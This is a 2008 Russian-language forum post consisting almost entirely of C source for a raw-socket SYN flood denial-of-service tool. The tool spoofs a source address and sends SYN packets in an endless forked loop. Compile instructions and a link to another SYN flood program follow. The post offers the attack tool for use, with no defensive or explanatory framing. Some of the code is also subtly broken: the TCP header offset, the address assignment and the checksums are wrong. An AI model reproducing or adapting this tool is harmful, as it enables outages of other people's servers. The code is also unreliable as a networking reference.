Показать сообщение отдельно

  #2  
Старый 02.06.2008, 02:44
0verbreaK
Постоянный
Регистрация: 30.04.2008
Сообщений: 323
Провел на форуме:
379101

Репутация: 136
По умолчанию

Код:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>
int main(int argc, char *argv[]) {
       if(argc < 3) {
               printf("Usage: %s <dst> <port> <src>\n", argv[0]);
               printf("Synflooder v2.0 was written by shaunige@yahoo.co.uk\n");
               exit(-1);
       }

       int sock;
       int on = 1;
       char packet[4096]; /* Datagram. */
       struct sockaddr_in dest;
       struct iphdr *ip = (struct iphdr *) packet;
       struct tcphdr *tcp = (struct tcphdr *) packet + sizeof(struct iphdr);
       struct hostent *he;
       if((he = gethostbyname(argv[1])) == NULL) {
               printf("Couldn't resolve hostname!\n");
               exit(-1);
       }

       if((sock = socket (AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) {
               printf("Socket failed!\n");
               printf("Must be root to make raw socket.\n");
               exit(-1);
       }
       dest.sin_family = AF_INET;
       dest.sin_port = htons(atoi(argv[2]));
       dest.sin_addr = *((struct in_addr *)he->h_addr);
       memset(packet, 0, 4096); // Zero out packet.

       /* We'll fill in the header outselves. */
       if((setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) < 0 ) {
               perror("setsockopt");
               exit(1);
       }
       // Fill in IP headers.
       ip->ihl = 5;
       ip->version = 4;
       ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
       ip->id = htons(1337);
       ip->saddr = inet_ntoa(atoi(argv[3]));
       ip->daddr = inet_ntoa(dest.sin_addr);
       ip->ttl = 255;
       ip->protocol = 6;
       ip->check = 0;
       ip->tos = 0;
       ip->frag_off = 0;

       // Fill in TCP headers.
       tcp->source = htons(1337);
       tcp->dest = htons(atoi(argv[2]));
       tcp->seq = htons(random());
       tcp->ack = 0;
       tcp->syn = 1;
       tcp->window = htons(65535);
       tcp->check = 0;
       tcp->doff = 5;
       tcp->rst = 0;
       tcp->psh = 0;
       tcp->fin = 0;
       tcp->urg = 0;
       tcp->ack_seq = htons(0);
       printf("Syn flooding: %s!\n", argv[1]);
       /* Insert some more fork()'s in here, if you want. */
       fork();
       fork();
       while(1) {
       sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(struct sockaddr));
       }
       return(0);
}
Компилить gcc sysflooder.c -o synflooder

http://www.niksula.hut.fi/~dforsber/synflood/neptune.c

Последний раз редактировалось 0verbreaK; 02.06.2008 в 02:48..
 
Ответить с цитированием